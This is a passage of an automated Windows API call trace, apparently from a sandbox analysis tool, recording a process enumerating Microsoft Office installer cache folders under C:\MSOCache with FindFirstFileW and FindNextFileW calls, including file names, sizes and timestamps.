hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0065.816] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0065.816] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0065.816] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0065.817] GetProcessHeap () returned 0x550000 [0065.817] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0065.817] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0065.817] GetProcessHeap () returned 0x550000 [0065.817] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0065.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0065.830] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.830] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0065.830] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0065.831] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0065.831] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.831] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.831] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0065.834] GetProcessHeap () returned 0x550000 [0065.834] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0065.834] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0065.834] GetProcessHeap () returned 0x550000 [0065.834] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0065.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0065.837] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.838] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0065.838] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0065.838] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0065.839] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.839] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.839] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0065.842] GetProcessHeap () returned 0x550000 [0065.842] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0065.842] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0065.842] GetProcessHeap () returned 0x550000 [0065.842] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0065.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0065.846] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.846] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0065.847] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0065.847] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0065.847] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.847] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.848] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0065.848] GetProcessHeap () returned 0x550000 [0065.848] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0065.848] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0065.848] GetProcessHeap () returned 0x550000 [0065.848] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0065.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0065.914] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.914] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.915] GetProcessHeap () returned 0x550000 [0065.915] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2672090 [0065.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5768c0 [0065.928] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.928] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0065.928] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0065.928] FindClose (in: hFindFile=0x5768c0 | out: hFindFile=0x5768c0) returned 1 [0065.929] GetProcessHeap () returned 0x550000 [0065.929] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2672090 | out: hHeap=0x550000) returned 1 [0065.929] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0065.930] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0065.930] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0065.930] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0065.931] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0065.931] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0065.931] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0065.932] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, 